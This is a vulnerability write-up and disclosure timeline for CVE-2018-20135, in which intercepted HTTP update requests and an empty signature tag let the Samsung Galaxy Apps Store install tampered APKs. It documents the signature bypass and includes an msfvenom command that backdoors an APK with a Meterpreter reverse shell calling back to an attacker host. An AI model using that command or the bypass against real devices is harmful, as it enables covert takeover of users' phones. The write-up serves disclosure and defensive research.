The update architecture of a mobile operating system is very important to make sure that the user trusts the software without the risk of being compromised by a hacker during this process.
A bug on the Samsung Galaxy Apps Store allowed an attacker to inject unauthorized and arbitrary code, through the interception of periodic update requests made by the Store.
Due to the usage of HTTP initiating checks for updates in the Samsung Galaxy Apps Store, an attacker that can control network traffic (e.g. via MITM on the network) can change the URL for load-balancing and modify the requests for the mirrors with user controlled domains. This could allow an attacker to trick Galaxy Apps into using an arbitrary hostname for which the attacker can provide a valid SSL certificate, and simulate the API of the app store to modify existing apps on a given device. An attacker could exploit this vulnerability to achieve Remote Code Execution on Samsung devices.
1.1 Finding apps with interesting permissions
Analyzing samsung mobile entire app ecosystem would be an huge task and searching for apps that would provide relevant permissions to, for example, install other apps, can reduce the vulnerability search space.
Taking this approach, we developed a quick tool to dump and enumerate all the apps that would use interesting permissions as to reduce the following analysis of our tools. Using the Androguard tool, we analyzed all the APKs and generated a subset consisting of apps.
1.2 Finding relevant attack surface
Although being able to locally install apps without system permissions would be a good vulnerability in itself, we set as a goal to first check system applications that could install other apps thereby providing an RCE if a vulnerability was found.
In order to reduce the attack surface even further we assumed that Samsung would use SSL to prevent a MITM when downloading the APKs, so we wrote a few modules that would output the reduced set of APKs to analyze.
1.2.1 Transport Security
To create this subset, we compiled a list of classes and methods that would be used to make HTTP/HTTPS requests and we checked all the apps against our list. This provided us with a smaller subset to look at.
Although this method would dismiss applications that would not implement SSL and perform unsafe installs from untrusted sources, we like to assume that Samsung would at least try to use SSL when performing dangerous operations. We also intercepted network requests in a controlled environment to identify HTTP requests while playing with those apps.
1.2.2 Application Signature Validation
Many applications use SSL as part of their normal operations and the previous subset was still quite large, in order to reduce it even further we filtered all the classes that contained the string “signature”.
1.3 Reverse Engineering
Looking at our reduced subset, we picked the most obvious application that could contain vulnerabilities related to package installation as the first application to look at: the Galaxy Apps Store. In order to facilitate the team work and use the amenities of an IDE, we used JADX to decompile the APK to a gradle project and imported it after to Android Studio, which is useful to find class and variable usages and more.
2.1 Lack of Transport Security (HTTP)
The Galaxy Apps Store retrieves a country-specific URL to be used by the Store. This request occurs sometimes periodically, or when you start the app for the first time or if your MCC (Mobile Country code) changes. However, this request is made using HTTP and not HTTPS, which allows a MITM (man-in-the middle) attack.
In this POST request, the device sends information about the device status such as: MCC, MNC, device model and language. In the response, a country URL is returned to be used by Store from then on. The country URL contains a HTTP URL but the app will use HTTPS in the next requests instead.
2.2 Signature validation
At this point, our goal was to achieve RCE by installing arbitrary applications on the device. We analyzed requests of updating or installing applications, and we noticed that we could modify the URL of APK files. However, there was a signature parameter on the XML returned by the original server, but we were able to bypass this validation.
When a user wants to install or update an app, the Store requests information about the app. A XML is returned, which contains information about permissions, the APK size, URL to download the APK and signature:
First, we tried to change the downloadUri to a different APK we controlled with a reverse shell, but the Store client didn’t accept it because of the signature value. So, we tried to remove the signature tag from the XML and an error was shown as well. However, if the signature tag was present but with an empty value, i.e.,
<value name="signature"></value>, the signature would be accepted and a modified APK would be successfully installed.
In order to simplify our PoC, we used mitmproxy to intercept and modify requests. We created a script to automatically change the vulnerable HTTP response and infect the client with our fake service:
Once the client gets infected and starts using the fake store URL, applications may try to update and the fake store service can also tell the client that there is new update for a given app. When a client wants to install or update a given app, the attacker server may replace the download URI with a link to a backdoored APK file, which would be installed on the device with extra permissions. Because of lack of validation on the signature field (if XML tag is empty, but not missing, the device blindly accepts the APK from the store) it is possible to modify and infect the requested APKs on the fly, for any app being downloaded from the store without computing signatures. In our PoC we download, store and backdoor the original APK files using msfvenom as they are requested by clients:
msfvenom -x original.apk -p android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -o backdoor.apk
The service that exploits this vulnerability looks like this:
The Store is a privileged app with INSTALL permissions, allowing the attacker to modify the manifest to add more permissions than those shown to the user in the app. The user would be unaware that the installed application will have more permissions than those presented on the install menu from the store, since the permission list can be modified in the server response.
Infecting a device with a fake store API URL via MITM, backdooring applications on the fly and bypassing the signature mechanism allowed us to install modified apps and then execute arbitrary code (RCE) on devices that use the Galaxy Apps Store.
Affected versions: Samsung Apps Store < 4.3.01.7
Tested on Samsung devices: A5 2017 (A520), Note 8 (N950F), A8 2018 (A530F), S7 (G930F), XCover 4 (G390F), S8 (G950F), S8 Plus (G955F), J7 2017 (J730F)
- 30/05/2018 – Reported to Samsung Bug Bounty program
- 30/05/2018 – Triaged (Severity: High)
- 27/09/2018 – Fixed (Galaxy Apps Store 4.3.01.7 released)
- 16/10/2018 – Bounty awarded
- 13/12/2018 – CVE entry created https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20135